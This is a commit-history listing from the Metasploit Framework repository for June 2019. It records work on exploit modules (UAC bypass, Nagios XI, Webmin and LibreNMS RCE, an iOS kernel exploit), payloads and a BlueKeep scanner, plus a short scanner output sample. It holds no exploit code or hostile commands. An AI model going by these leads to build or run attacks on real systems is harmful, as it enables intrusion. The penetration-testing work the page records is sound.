Compare commits

...

303 Commits

Author SHA1 Message Date
Metasploit 58e36b6e51 Bump version of framework to 5.0.34 2019-06-27 10:04:44 -07:00
Metasploit 774eaa0029 automatic module_metadata_base.json update 2019-06-27 10:02:29 -07:00
William Vu 1503dcd168 Land #11997, SilentCleanup UAC bypass 2019-06-27 11:52:56 -05:00
Metasploit 6c7e08c8fc automatic module_metadata_base.json update 2019-06-27 09:45:39 -07:00
William Vu 6f1aaac70e Add enigma0x3 and fix nyshone69 researchers 2019-06-27 11:38:34 -05:00
asoto-r7 26cd53efb6 Land #11977, AWS EC2, S3, and IAM Enumeration 2019-06-27 11:29:05 -05:00
William Vu 7b0aac72ec Fix missing is_in_admin_group? method
This was missed in the refactor, since admin_group was removed.
2019-06-27 11:16:49 -05:00
asoto-r7 7de8d76beb Fixed merge conflict with Gemfile.lock 2019-06-27 11:15:55 -05:00
Metasploit 76f907c3a4 automatic module_metadata_base.json update 2019-06-26 23:56:48 -07:00
William Vu 56a620c64a Land #12019, typo fix for bypassuac_sluihijack 2019-06-27 01:47:25 -05:00
Jeff McJunkin 2927fd5dc8 Update bypassuac_sluihijack: Fix typo 2019-06-26 14:25:32 -07:00
asoto-r7 18f62926ce Updated Gemfile.lock 2019-06-26 16:00:46 -05:00
asoto-r7 ec9bbfa5ae Documentation for all three AWS enum_* modules 2019-06-26 14:59:22 -05:00
asoto-r7 0c83e55b00 enum_iam: Update 'Console Login' output to accurately reflect Disabled status 2019-06-26 14:57:32 -05:00
Metasploit e5868170fd automatic module_metadata_base.json update 2019-06-26 10:35:25 -07:00
William Vu 61f09d0538 Land #12017, xdebug_unauth_exec nil fix 2019-06-26 12:26:30 -05:00
Metasploit 11ef19d264 automatic module_metadata_base.json update 2019-06-26 09:23:41 -07:00
William Vu a1a630b7af Land #12018, Pen Test Partners reference for RV130 2019-06-26 11:13:39 -05:00
William Vu cc3fd747aa Add Pen Test Partners reference
Did we somehow miss this?
2019-06-26 11:05:22 -05:00
Patrick Webster 8d6f36e05c Minor fix for xdebug_unauth_exec
Avoid triggering error where res.headers may not exist.
2019-06-27 01:00:49 +10:00
William Vu 59d75a1658 Land #12015, dcerpc_getarch documentation fix 2019-06-26 02:44:07 -05:00
William Vu 9fe138e3dc Remove misleading comment from dcerpc_getarch
I transferred my implementation. I don't understand this comment.
2019-06-26 02:40:16 -05:00
asoto-r7 0c92c69e95 Initial enum_s3 documentation 2019-06-25 18:07:03 -05:00
asoto-r7 84b6f05947 Fix 'bucket' typo 2019-06-25 16:35:44 -05:00
Metasploit b672412aeb automatic module_metadata_base.json update 2019-06-25 14:32:35 -07:00
Wei Chen 685fb55179 Land #11987, Add Nagios XI 5.5.6 magpie_debug Root Exploit 2019-06-25 16:17:50 -05:00
Wei Chen 01c49f22fb Change doc name 2019-06-25 16:16:32 -05:00
Wei Chen 23dbc4d90d Change file name 2019-06-25 16:10:44 -05:00
Wei Chen e9fc9970ba Make names more random. Also, make metadata changes 2019-06-25 16:09:15 -05:00
asoto-r7 de97615e9d Land #12013, Make SRVHOST the callback address in confluence_widget_connector 2019-06-25 16:06:37 -05:00
Metasploit 29d9f3ea28 Bump version of framework to 5.0.33 2019-06-25 13:08:28 -07:00
Metasploit 07cb5c5e10 Bump version of framework to 5.0.32 2019-06-25 12:57:14 -07:00
William Vu 5c14aea1a0 Fix target_platform check (it's empty, not nil) 2019-06-25 12:56:36 -05:00
William Vu cf140f0840 Make SRVHOST the callback address 2019-06-25 12:43:04 -05:00
Metasploit dae98d27d7 automatic module_metadata_base.json update 2019-06-24 23:05:38 -07:00
William Vu 44ad25ae34 Land #12008, struts2_content_type_ognl 302 fix 2019-06-25 00:40:58 -05:00
Carter Brainerd 5e8b076714 Final review changes 2019-06-25 07:21:08 +02:00
James Lee 303bfaa7eb Don't worry about response code
I found one that returned a 302
2019-06-24 13:53:31 -05:00
Jacob Robles 8be8aa603c Adjust logic
Early return to reduce nesting ifs
2019-06-24 12:43:26 -05:00
Jacob Robles 3d143f366c Remove LIMIT and adjust quotes 2019-06-24 12:40:01 -05:00
Metasploit 6a55227c56 automatic module_metadata_base.json update 2019-06-22 00:52:07 -07:00
William Vu 1f5137fcb6 Land #11996, ZDI reference for rails_double_tap 2019-06-22 02:34:14 -05:00
Carter Brainerd d2dc5f6077 Review changes 2019-06-22 00:18:44 -04:00
Carter Brainerd d90dba5d6e Hopefully final msftidy fixes 2019-06-20 17:03:38 -04:00
Carter Brainerd 679f55d0c5 Docs cleanup 2019-06-20 17:02:02 -04:00
asoto-r7 fa5cdb6ff3 Remove unecessary gems (we might add them back later) 2019-06-20 15:09:25 -05:00
asoto-r7 358ff635dd Renamed modules per @wvu's offline suggestion 2019-06-20 15:08:30 -05:00
Carter Brainerd 96b499080c Add docs 2019-06-20 15:01:53 -04:00
Carter Brainerd 1a877abe09 Msftidy was not happy 2019-06-20 14:50:56 -04:00
Carter Brainerd 534e2bc405 Make the darn thing work 2019-06-20 14:40:46 -04:00
Carter Brainerd fded7fb922 Create bypassuac_silentcleanup.rb 2019-06-20 13:53:54 -04:00
Metasploit 8244457b33 Bump version of framework to 5.0.31 2019-06-20 10:05:48 -07:00
Wei Chen 8920152eca Add a ZDI reference for CVE-2019-5420 Rails exploit 2019-06-20 10:43:21 -05:00
Metasploit 4fa6fb8db9 automatic module_metadata_base.json update 2019-06-19 12:52:21 -07:00
Jeffrey Martin e1b982dfa9 Land #11993, Explicitly require 'rc4' in the BlueKeep scanner. 2019-06-19 14:42:01 -05:00
Jeffrey Martin e98e69fb80 add automation tests for bluekeep server targets 2019-06-19 13:54:14 -05:00
Metasploit fba601b584 automatic module_metadata_base.json update 2019-06-19 09:07:26 -07:00
Wei Chen a93a520c3a Land #11960, Add LPE for Cisco Prime Infrastructure's runrshell exe 2019-06-19 10:49:17 -05:00
Wei Chen c637755ebd Land #11956 - Add Cisco Prime Infrastructure Health Monitor Tar RCE 2019-06-19 10:46:35 -05:00
Metasploit a61401b1f8 automatic module_metadata_base.json update 2019-06-19 06:57:30 -07:00
Shelby Pace 4d7d807025 Land #11983, add Webmin package update rce 2019-06-19 08:35:01 -05:00
Shelby Pace ddf7eadeee modified version check 2019-06-19 08:31:48 -05:00
Pearce Barry 3f0810502e Explicitly require 'rc4' in the BlueKeep scanner.
Appears to still operate as-expected:

	msf5 > use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
	msf5 auxiliary(scanner/rdp/cve_2019_0708_bluekeep) > set rhosts <target>
	rhosts => <target>
	msf5 auxiliary(scanner/rdp/cve_2019_0708_bluekeep) > run

	[+] <target>:3389      - The target is vulnerable.
	[*] <target>:3389 - Scanned 1 of 1 hosts (100% complete)
	[*] Auxiliary module execution completed

Fixes MS-4291.
2019-06-19 08:27:04 -05:00
Jacob Robles efeb0a5f5c Land #11971, zip extraction from modbus pcap 2019-06-18 16:25:27 -05:00
Wei Chen 384cfc7db5 update checkcode 2019-06-18 15:58:57 -05:00
Jacob Robles 2873284323 Doc updates 2019-06-18 14:28:43 -05:00
Jacob Robles 4d1bd60853 Update documentation 2019-06-18 14:16:34 -05:00
Jacob Robles 66c3c6a94b Remove unused mixin, update save loot logic
Capture mixin was not used. Loot was being
saved when a zip file wasn't found. Updated
file path so the module is under analyze.
2019-06-18 14:08:47 -05:00
Özkan Mustafa Akkuş 992a638a79 Merge pull request #1 from space-r7/pr11983
Add minor module changes
2019-06-18 09:58:20 +03:00
Chris Higgins ceba93e84e Land #11904, fix meterpreter screenshot dll upload 2019-06-17 23:36:29 -05:00
asoto-r7 36eeba4e37 Address code review from @jrobles-r7. Thanks! 2019-06-17 16:19:45 -05:00
yaumn 8723775564 Add a module documentation file 2019-06-17 21:50:03 +01:00
Shelby Pace d4d2eab770 removed some whitespace, added a check 2019-06-17 15:29:08 -05:00
asoto-r7 850951e261 Fix a bug in MFA output, and also try to fix Travis complaintsy 2019-06-17 15:01:51 -05:00
Özkan Mustafa Akkuş a5020b8f30 Fix spaces at EOL 2019-06-17 13:16:56 +03:00
Özkan Mustafa Akkuş b5e34cb783 Converting version check request to vars_get
We also need to add the "testing = 1" cookie to the login request. Otherwise, the browser displays a No-Cookie error.
2019-06-17 10:46:46 +03:00
yaumn e13456ce0d Add root to the filename 2019-06-16 23:32:57 +01:00
siberguvenlik 17f686a87d Adding module documentation 2019-06-16 18:27:01 -04:00
yaumn 8faa138289 Change targets and default http delay 2019-06-16 23:13:45 +01:00
siberguvenlik 3d463a1e20 Adding correction of Check and Payload definitions 2019-06-16 17:58:31 -04:00
yaumn 863beaea92 First commit for module Nagios XI RCE 2019-06-16 22:10:32 +01:00
siberguvenlik 414c614b55 CVE-2019-12840 - Add Webmin 1.910 RCE Module 2019-06-16 11:26:00 -04:00
Metasploit eb8e0e238d automatic module_metadata_base.json update 2019-06-14 19:47:04 -07:00
William Vu 379caff828 Land #11932, TLS and doc'd packets for BlueKeep 2019-06-14 21:10:08 -05:00
William Vu 3d8b474632 Clean up module 2019-06-14 21:09:57 -05:00
William Vu 282e2b3d78 Land #11979, missing bind_tcp_rc4 tests 2019-06-14 20:57:56 -05:00
Jeffrey Martin b6aa04bbe4 add missing bind_tcp_rc4 payload tests 2019-06-14 16:18:31 -05:00
bwatters-r7 b67b48fd50 Land #11966, Stop error rendering in multi/meterpreter handler
Merge branch 'land-11966' into upstream-master
2019-06-14 14:01:58 -05:00
jdiog0 6646295d51 modbus zip
Co-Authored-By: @shellfail <jrobles@rapid7.com>
2019-06-14 19:27:54 +01:00
asoto-r7 e2d4dc5f41 Initial concept for AWS IAM enumeration 2019-06-14 13:23:20 -05:00
asoto-r7 1d800a5d9a Move error handling method up, in preparation for making a library, maybe 2019-06-13 18:40:34 -05:00
asoto-r7 54a17e0a51 Initial concept for AWS S3 enumeration 2019-06-13 18:40:16 -05:00
Adam Cammack 1f6d61dde8 Land #11965, Add secure Meterpreter command
The command will force or renegotiate TLV encryption on the for the
current session.
2019-06-13 14:20:50 -05:00
Metasploit a2b29de2f7 automatic module_metadata_base.json update 2019-06-13 12:12:49 -07:00
bwatters-r7 b9cefe1b79 Land #11958, abrt_raceabrt_priv_esc: Fix abrt package version check
Merge branch 'land-11958' into upstream-master
2019-06-13 14:02:15 -05:00
Metasploit 1789ca21eb automatic module_metadata_base.json update 2019-06-13 10:30:03 -07:00
bwatters-r7 aed504c0a9 Land #11944, Implement bind TCP with RC4 decryption for x64
Merge branch 'land-11944' into upstream-master
2019-06-13 12:09:31 -05:00
Metasploit 644a70ff15 Bump version of framework to 5.0.30 2019-06-13 10:07:30 -07:00
William Vu dfd74107c0 Land #11974, full path in pgrep -lf output 2019-06-13 10:48:47 -05:00
William Vu bcee6f0dc2 Join full path nicely 2019-06-13 10:30:36 -05:00
William Vu 8e6fbcb4b5 Concatenate path and name in Meterpreter pgrep -lf 2019-06-12 19:13:02 -05:00
William Vu 2d14966b0b Land #11963, kill command help correction 2019-06-12 11:00:38 -05:00
Tom Sellers a2863ff3cf Add comment to pdu_connect_initial 2019-06-12 10:46:12 -05:00
Tom Sellers 008f9061f6 Randomize client random, sanity check fields 2019-06-12 07:49:45 -05:00
asoto-r7 f96de95acc Initial concept for AWS EC2 enumeration 2019-06-11 19:10:59 -05:00
Tom Sellers f4aa86c9b3 rubocop cleanup 2019-06-11 13:29:05 -05:00
Metasploit b1793f2d50 automatic module_metadata_base.json update 2019-06-11 11:14:07 -07:00
Tom Sellers cc93b312ac Add ability to configure username, client, IP, etc 2019-06-11 13:07:59 -05:00
Brent Cook fa09b239e8 Land #11941, add support for module aliases 2019-06-11 12:57:01 -05:00
Metasploit c79d86e562 automatic module_metadata_base.json update 2019-06-11 07:49:47 -07:00
Matthew Kienow c80f6f9141 Land #11970, Correct Websphere module CVE ref 2019-06-11 10:30:10 -04:00
Matthew Kienow d91459f2eb Correct module CVE reference 2019-06-11 09:14:40 -04:00
OJ 5621d200cc Stop error rendering in multi/meterpreter
The reverse_http/s listeners result in awful errors when
multi/meterpreter is set as the payload. Anyone that hits the endpoint
with an invalid or missing UUID will spam the MSF console with
exceptions.

This patch avoids this issue in cases where the UUID isn't specific. We
avoid setting it as a default, which doesn't make sense anyway.
2019-06-11 13:39:52 +10:00
OJ 0e0edeb372 Add a secure command to renegotiate TLV encryption
This gives us the ability to force TLV encryption if for some reason
it's not already in place, and it means we can renegotiate a new key on
the fly if we want to.
2019-06-11 08:26:33 +10:00
William Vu 36cc535c8a Remove jobs options from kill help
They do not apply.
2019-06-10 16:29:14 -05:00
Wei Chen 5c97c2fa19 Land #11951, Add meterpreter > screenshare command 2019-06-10 13:25:27 -05:00
Wei Chen d74881a3c0 Update based on bcole's feedback 2019-06-10 12:12:49 -05:00
Wei Chen caa9987a77 Register payload for cleanup 2019-06-10 11:20:25 -05:00
Wei Chen d63484562c Correct disclosure date 2019-06-10 11:14:41 -05:00
Wei Chen 12cfada465 Add Cisco Prime Infrastructure runrshell Privilege Escalation 2019-06-10 10:29:43 -05:00
Brendan Coles 8cac968acb Fix abrt package version check 2019-06-10 02:21:10 +00:00
Metasploit 361f9602a8 automatic module_metadata_base.json update 2019-06-08 11:50:58 -07:00
William Vu 6f16a44c8d Land #11957, CVE references for TrueOnline modules 2019-06-08 13:32:38 -05:00
Pedro Ribeiro 6693e3e347 add cve to trueonline v2 2019-06-08 17:41:04 +07:00
Pedro Ribeiro 903ea5ebce add cve to p660hn v1 2019-06-08 17:38:44 +07:00
Pedro Ribeiro c763f84348 add cve to billion module 2019-06-08 17:37:05 +07:00
Pedro Ribeiro 08258dd7ce Merge pull request #8 from rapid7/master
hhhh
2019-06-08 17:35:36 +07:00
Wei Chen 4d6d06c9f9 Update disclosure date 2019-06-07 15:59:59 -05:00
Brent Cook 83528b8bb1 Land #11798, Add Extended Passive Mode for FTP client
Merge remote-tracking branch 'upstream/pr/11798' into upstream-master
2019-06-07 15:09:23 -05:00
Metasploit 3a77e3454e automatic module_metadata_base.json update 2019-06-07 13:05:35 -07:00
Wei Chen 2053513dc5 Minotr update for cpi_tararchive_upload 2019-06-07 13:12:14 -05:00
Wei Chen 1968e0d009 Add module doc for Cisco TarArchive exploit 2019-06-07 13:09:28 -05:00
Brent Cook 3f5f48a3fc Land #11340, make SSH agent and other options configurable 2019-06-07 11:22:31 -05:00
Metasploit da6a225ef8 Bump version of framework to 5.0.29 2019-06-07 09:03:32 -07:00
Brent Cook 5aed1f7dfe Land #11914, Fix external file import via web service 2019-06-07 06:03:42 -05:00
Wei Chen 69492d2a25 Add Cisco Prime Infrastructure Health Monitor TarArchive Exploit 2019-06-07 03:08:57 -05:00
William Vu a1038bf9a8 Land #11954, Retina XML importer fixes and updates 2019-06-07 00:40:28 -05:00
William Vu dd101a0469 Add nil check
Just in case.
2019-06-07 00:16:44 -05:00
William Vu 53ea7e577f Add sanitized new XML format 2019-06-07 00:07:50 -05:00
William Vu 10dccfcedb Remove warning
<context> provides service info now:

<context>TCP:443 ([redacted]), SHA256[=][redacted], Serial[=][redacted]</context>
2019-06-06 23:45:07 -05:00
William Vu 40eeae541b Fix style 2019-06-06 23:38:41 -05:00
Jeffrey Martin f646a973a7 Update retina imports to better handle parsing 2019-06-06 19:13:06 -05:00
James Barnett 37414b5760 Land #11948, surface errors returned from remote data service in console 2019-06-06 12:40:42 -05:00
William Vu b020e3232b Move warning suppression 2019-06-06 12:33:54 -05:00
Metasploit 614c1afc41 Bump version of framework to 5.0.28 2019-06-06 10:07:53 -07:00
William Vu 19bd0f2183 Add comments 2019-06-06 10:50:26 -05:00
Tim W 49ce878497 refactor html code into separate module 2019-06-06 13:39:53 +08:00
Metasploit e76fd32bc1 automatic module_metadata_base.json update 2019-06-05 13:30:30 -07:00
Jacob Robles af1afca1e3 Land #11940, Add files to test that may not be open 2019-06-05 15:03:33 -05:00
Adam Cammack 0516441549 Land #11949, Fix wordpress_content_injection CVE 2019-06-05 14:54:01 -05:00
Matthew Kienow 3c4699c848 Remove unnecessary leading slash from log message 2019-06-05 15:10:00 -04:00
Matthew Kienow 25f45144e8 Handle exceptions raised by get_msf_version call
Exceptions may be raised via the remote data service response handling
while making the call to check the MSF version.
2019-06-05 15:09:33 -04:00
Jacob Robles bf6a62fba8 Add workspace arg to spec 2019-06-05 08:47:13 -05:00
Clément Notin 69ab2154ad wordpress_content_injection: fix CVE number 2019-06-05 12:43:16 +02:00
Metasploit 8c3d7b3900 automatic module_metadata_base.json update 2019-06-04 10:58:45 -07:00
Jacob Robles 9edf92434c Land #11895, CVE-2018-20434 LibreNMS cmd injection exploit 2019-06-04 12:28:24 -05:00
Metasploit 7366994f7b automatic module_metadata_base.json update 2019-06-04 10:26:24 -07:00
Jacob Robles c93c65cef5 Update date format 2019-06-04 12:24:00 -05:00
Matthew Kienow 749501d449 Refactor remote data service response handling
Raises exceptions for error responses rather than failing silently.
This exposes the server-side error message to the user in console.
2019-06-04 12:09:06 -05:00
Matthew Kienow 8fe11744bd Use the revised ResponseWrapper error classes 2019-06-04 11:59:00 -05:00
Matthew Kienow 52c67a6952 Modify ResponseWrapper to support three states
There is a success response, an error response and a failed response.
An error response contains a body with an error message from the
server-side, while a failed response represents an invalid response
caused by an issue with the request or response.
2019-06-04 11:56:12 -05:00
Jacob Robles c1572c89a8 Land #11841, IBM WAS Network Deployment RCE CVE-2019-4279 2019-06-04 11:49:05 -05:00
Jacob Robles 129bb898d8 Merge CMD Target Update 2019-06-04 11:47:28 -05:00
bwatters-r7 eff819b523 Land #11945, Make auto_cl more selective based on HTTP method
Merge branch 'land-11945' into upstream-master
2019-06-04 09:04:13 -05:00
Tom Sellers e15840f8db Add nil check for quick response 2019-06-04 08:36:58 -05:00
bwatters-r7 c28b15e9fe Land #11823, Handle invalid payloads more clearly
Merge branch 'land-11823' into upstream-master
2019-06-04 08:34:41 -05:00
Jacob Robles 8687a21f2d Fix workspace calls 2019-06-04 08:33:58 -05:00
bwatters-r7 cd182e2014 Land #11938, fix cmd_exec tests on python/windows
Merge branch 'land-11938' into upstream-master
2019-06-04 08:01:49 -05:00
bwatters-r7 bee013a18c update cache size and fix an assignment 2019-06-04 07:13:34 -05:00
Tom Sellers 6a8e4366ae Improve XP stabilty, trim dead code 2019-06-04 06:53:36 -05:00
Tom Sellers 9d17832347 Deal with virtual channel data blob 2019-06-04 05:49:45 -05:00
Brent Cook e5a4c2d341 Make auto_cl more selective based on HTTP method
According to https://tools.ietf.org/html/rfc7230#section-3.3.2, a zero content-length is valid for some kinds of HTTP methods.

Instead of implicitly disabling auto_cl if there is no actual content, disable auto_cl default for HTTP methods where semantics of the message do not anticipate any content. This can still be overridden by a caller if it still wants to add an empty content-length for HTTP methods where it does not normally make sense (e.g. if it exploits a bug.)
2019-06-04 04:04:08 -05:00
Metasploit d50cf542cf automatic module_metadata_base.json update 2019-06-03 23:13:42 -07:00
Wei Chen b8abb550e6 Land #11924, Update adobe_flash_opaque_background_uaf for Win 10 2019-06-04 00:51:34 -05:00
Wei Chen 191d73f3ef Update rex-exploitation 2019-06-04 00:40:01 -05:00
Metasploit 30a0f25eae automatic module_metadata_base.json update 2019-06-03 17:13:46 -07:00
Wei Chen 17170e2152 Land #11937, make content-length header optional 2019-06-03 18:56:27 -05:00
RageLtMan ff1630ad14 Implement bind TCP with RC4 decryption for x64
Update metasm generated shellcode blocks to cobble together an
RC4 decryption routine with a bind-socket handler for x64 targets.
Expose via new payload module
2019-06-03 18:06:53 -04:00
bwatters-r7 6f711dfab4 Land #11918, replace trivial usage of expand_path with getenv
Merge branch 'land-11918' into upstream-master
2019-06-03 16:59:39 -05:00
Tom Sellers b176948c3c Refactor more binary blobs 2019-06-03 16:54:33 -05:00
Adam Cammack deb31d77c3 Use the aliased name on instantiated modules
This creates a way for modules and the framework to see what name the
user entered to interact with a module.
2019-06-03 13:55:02 -05:00
Adam Cammack 2e36d90291 Add some less-verbose aliases
These aliases avoid duplicating the protocol in the module name.
2019-06-03 13:42:55 -05:00
Adam Cammack cf59022936 Add aliases to modules
This allows modules that can be addressed by name to register possible
aliases for themselves by defining an `Aliases` constant in the top
level of the module.
2019-06-03 13:40:27 -05:00
Adam Cammack c0d365aa46 Unify modules and cache with fullname method 2019-06-03 13:19:29 -05:00
Tom Sellers 61b5072e88 Add explicit check for NLA 2019-06-03 09:38:12 -05:00
Jacob Robles d466ac990d Use process_opts_workspace 2019-06-03 09:25:31 -05:00
Tom Sellers 5871dc0802 Fix nego when RDP Security is forced 2019-06-03 08:50:30 -05:00
bwatters-r7 e425547398 Add some files to the test that are not likely to be open 2019-06-03 08:25:46 -05:00
William Vu e11cc621ea Add ensures 2019-06-03 03:51:08 -05:00
suzu991154 cdce03f42d fix_os_check 2019-06-03 16:17:23 +09:00
sinn3r 22e8d3488d Land #11862, wordlists for wordpress plugin/theme directories
Add wordlists for enumerating WordPress plugin/theme directories
2019-06-03 00:54:43 -05:00
William Vu 7c83734592 Update LoginScanner::SSH modules 2019-06-02 20:08:27 -05:00
William Vu ad2ece1489 Actually set the client identification string 2019-06-02 20:01:04 -05:00
William Vu 2318100a12 Rename SSHVersion to SSH_IDENT for now
1. Not to be confused with protocol version
2. We'll want to CamelCase the advanced options
2019-06-02 18:26:25 -05:00
William Vu 586fe73699 Add Msf::Exploit::Remote::SSH::Options 2019-06-02 18:21:58 -05:00
William Vu f70eac785d Update comment 2019-06-02 17:04:31 -05:00
William Vu 3107339c6b Add prints 2019-06-02 17:02:07 -05:00
William Vu 776061cc28 Fix style again 2019-06-02 16:55:48 -05:00
William Vu 75f1f0e331 Revert method name 2019-06-02 16:54:03 -05:00
William Vu 44ac458407 Simplify error check 2019-06-02 16:53:02 -05:00
William Vu 1fc49b2e12 Fix style 2019-06-02 16:50:44 -05:00
William Vu eaa718f33a Add functionality to change Net::SSH ident string 2019-06-02 16:46:43 -05:00
Tim W cd460aa2cb fix cmd_exec tests on python/windows 2019-06-03 03:47:52 +08:00
Brent Cook 76aeeafe7b Land #11936, rename a few module docs 2019-06-02 13:54:03 -05:00
Brent Cook ba947eab20 another rename 2019-06-02 13:53:44 -05:00
Brent Cook 3cf375c05c if there is no content, don't include content length 2019-06-02 13:27:11 -05:00
Chris Higgins 6ffc6b9b18 Fix #11934, frontpage_credential_dump.md file move 2019-06-02 12:40:18 -05:00
Metasploit f70a56edcf automatic module_metadata_base.json update 2019-06-02 09:56:15 -07:00
Tim W b5bdc06c4c Land #11933, add default VID and cmd/unix support to post/multi/manage/play_youtube 2019-06-03 00:39:11 +08:00
William Vu 42082f0bcf Add unix platform 2019-06-02 11:31:43 -05:00
William Vu fe5bc8242f Add cmd/unix support 2019-06-02 11:19:44 -05:00
William Vu 852cd6c6c6 Note unused variables 2019-06-02 11:19:30 -05:00
William Vu 290741719c Add default VID to post/multi/manage/play_youtube 2019-06-02 11:01:57 -05:00
Brent Cook d3354152ab Land #11913, remove older Ruby's from test matrix 2019-06-02 10:48:27 -05:00
Tom Sellers 23139c5000 Bluekeep: add TLS, refactor 2019-06-02 10:02:09 -05:00
Metasploit 3ddd68394b automatic module_metadata_base.json update 2019-06-01 19:46:11 -07:00
Brent Cook 817d3ce081 Land #11477, add Exploit for CVE-2018-4233 and async_wait for iOS 10 to 11.2 2019-06-01 21:24:44 -05:00
Tim W 18c825d7fa update mettle payloads gem to include dylib 2019-06-02 10:22:30 +08:00
Tim W 6921ca74d8 add exploit binary 2019-06-02 10:19:24 +08:00
Tim W d0cce0a6a4 offsets for iPhone 5S 10.2.1 2019-06-02 10:19:24 +08:00
Tim W d2c43ea30b add documentation 2019-06-02 10:19:24 +08:00
Tim W 5b708532b4 use MetasploitPayloads to_binary 2019-06-02 10:19:24 +08:00
Tim W c659a1e5b4 add description 2019-06-02 10:19:24 +08:00
Tim W 448782a927 fix build when missing IOKit headers 2019-06-02 10:19:24 +08:00
Tim W aabe316662 fixes for iOS 10 2019-06-02 10:19:24 +08:00
Tim W 2b54d411f6 fix iOS 11 offset cache 2019-06-02 10:19:24 +08:00
Tim W e6a8d66460 fix iOS 10 again 2019-06-02 10:19:24 +08:00
Tim W b7574f2dd8 cleanup 2019-06-02 10:19:24 +08:00
Tim W 90da47627b fix file-map-executable 2019-06-02 10:19:24 +08:00
Tim W d2eec0fef2 trustcache 2019-06-02 10:19:24 +08:00
Tim W 7156b1b31f uid0 2019-06-02 10:19:24 +08:00
Tim W 70aa762958 tfp0 via async_wake 2019-06-02 10:19:24 +08:00
Tim W 6d9385cb8a ios 11 faf 2019-06-02 10:19:24 +08:00
Tim W b142115c82 fix iOS 11.0.2 2019-06-02 10:19:24 +08:00
Tim W 6f6cf443b6 begin iOS 11 2019-06-02 10:19:24 +08:00
Tim W 33a4866c36 add offset cache 2019-06-02 10:19:24 +08:00
Tim W dd8b3d2b94 fix 10_3_2 2019-06-02 10:19:24 +08:00
Tim W f15e70ea03 various fixes 2019-06-02 10:19:24 +08:00
Tim W f7ee0234b6 fix liboffsetfinder64 2019-06-02 10:19:24 +08:00
Tim W f1392e1828 compile liboffsetfinder64 2019-06-02 10:19:24 +08:00
Tim W 9d0ab73b33 fix build 2019-06-02 10:19:24 +08:00
Tim W 3d414dac74 add hash to trust cache 2019-06-02 10:19:24 +08:00
Tim W 32af9cb897 Initial commit of CVE-2018-4233 for iOS 10 2019-06-02 10:19:24 +08:00
Metasploit 28d671ca03 automatic module_metadata_base.json update 2019-06-01 10:33:05 -07:00
Brent Cook 1de4a83d13 Land #11902, add missing cmd/unix/reverse_bash_udp test 2019-06-01 12:09:56 -05:00
Brent Cook 4286068154 Land #11906, fix osx 10.7 hash IDing and JTR IDs 2019-06-01 12:05:35 -05:00
Tim W 103afc6568 fix screenshare 2019-06-02 00:16:13 +08:00
suzu991154 0a6f1d5538 Add support for Windows 10(10240) to CVE-2015-5122 2019-06-01 14:44:30 +09:00
Brent Cook 53557cc92e replace trivial usage of expand_path with getenv
expand_path is not implemented consistently across platforms and
sessions, which leads to confusing behavior. In places where we have trivial
single variable expansions, this changes modules and library code to just use
getenv.

We'll look at the rest individually to see if they can also be reimplemented in
terms of getenv.
2019-05-31 17:44:35 -05:00
Brent Cook 3cff008d73 Land #11915, raise exceptions directly 2019-05-31 15:18:02 -05:00
Brent Cook 621d404a27 fix tests, handle stdin properly 2019-05-31 15:02:59 -05:00
Jacob Robles 7c29c56880 Bubble error
Raise Validation error that is checked for
2019-05-31 14:57:33 -05:00
William Vu cb39f72808 Land #11911, Java payload fixes 2019-05-31 14:56:41 -05:00
Brent Cook d988fe6e5c handle invalid payloads more clearly
Currently, if you have an error in a payload module (e.g. you have a syntax
error in a module), the error is not noticed early enough in the generation process by the parameter validator, leading to a mysterious message like so:

```
Error: undefined method `platform' for nil:NilClass
```

This change cleans up some of the error handling, checks to see if the payload
module can be instantiated, and gives a more useful error output for the
different cases. This also tweaks some of the literal string outputs to match
other exception strings from payload_generator.
2019-05-31 14:32:49 -05:00
Brent Cook 93d1b955c5 also kill 2.4.x 2019-05-31 14:09:36 -05:00
Chris Higgins 01de6954fe Land #11912, Bigdecimal boot 2019-05-31 14:04:20 -05:00
Jeffrey Martin bd67ecd0dc add missing cmd/unix/reverse_bash_udp test 2019-05-31 13:53:12 -05:00
Jacob Robles e9d0dc7518 Workspace arg used in call to func 2019-05-31 13:17:59 -05:00
Jacob Robles 37b0809e05 Remove workspace call
The #workspace call wasn't running as expected when using
the data service. It was ending up in infinite recursion.
2019-05-31 13:08:27 -05:00
Brent Cook 068f8f98f7 remove Ruby 2.3.8 from Metasploit test matrix
Ruby 2.3.8 is no longer supported:
https://www.ruby-lang.org/en/news/2018/10/17/ruby-2-3-8-released/
2019-05-31 12:57:38 -05:00
Brent Cook 73c8e803fe Land #11892, Fix parse IPv6 address in reverse_http 2019-05-31 12:41:36 -05:00
Brent Cook d9d0639a91 move BigDecimal patch earlier in boot process
This makes msfvenom also quiet about the impending deprecation.
2019-05-31 12:31:35 -05:00
Brent Cook 526df180b1 fix java/android cmd_exec and shell_command_token
This change fixes a race condition in the cmd_exec tests and rapid7/metasploit-framework#11530

From https://github.com/rapid7/metasploit-payloads/pull/334
2019-05-31 11:11:01 -05:00
Metasploit 8295aebf3a automatic module_metadata_base.json update 2019-05-31 07:54:05 -07:00
Brent Cook 23e59c9e66 Land #11838, add keyboard and mouse input controls on Windows/MacOS 2019-05-31 09:35:01 -05:00
Brent Cook b9af69a5be update payloads 2019-05-31 09:32:44 -05:00
Brent Cook edefc52bbd Merge branch 'master' into land-11838- 2019-05-31 09:29:25 -05:00
Jeffrey Martin b14a40f564 Land #11887, Fix multi meterpreter_reverse_http handler to not care so much about the workspace. 2019-05-30 18:32:57 -05:00
h00die 06256cc05b fix osx 10.7 hash IDing, and JTR ids 2019-05-30 18:33:45 -04:00
Jake Blank 933cf25efb add live remote screensharing/monitoring 2019-05-31 05:26:38 +08:00
Shelby Pace c2786eb87c made suggested changes 2019-05-30 14:09:40 -05:00
Jacob Robles 1069c3de4f File cleanup 2019-05-30 13:36:28 -05:00
Metasploit 026b38eb71 Bump version of framework to 5.0.27 2019-05-30 10:06:32 -07:00
Shelby Pace 74812ffe4d Update modules/exploits/linux/http/librenms_addhost_cmd_inject.rb
Co-Authored-By: @shellfail <jrobles@rapid7.com>
2019-05-30 10:52:34 -05:00
Shelby Pace 8c11a1c95a Update modules/exploits/linux/http/librenms_addhost_cmd_inject.rb
Co-Authored-By: @shellfail <jrobles@rapid7.com>
2019-05-30 10:51:57 -05:00
Jacob Robles 4f6d55b773 Update documentation 2019-05-30 06:30:38 -05:00
Shelby Pace 590b9748c1 changed file name and documentation 2019-05-29 18:30:39 -05:00
Shelby Pace 6606e1fed4 Update modules/exploits/linux/http/librenms_cmd_injection.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-05-29 18:00:59 -05:00
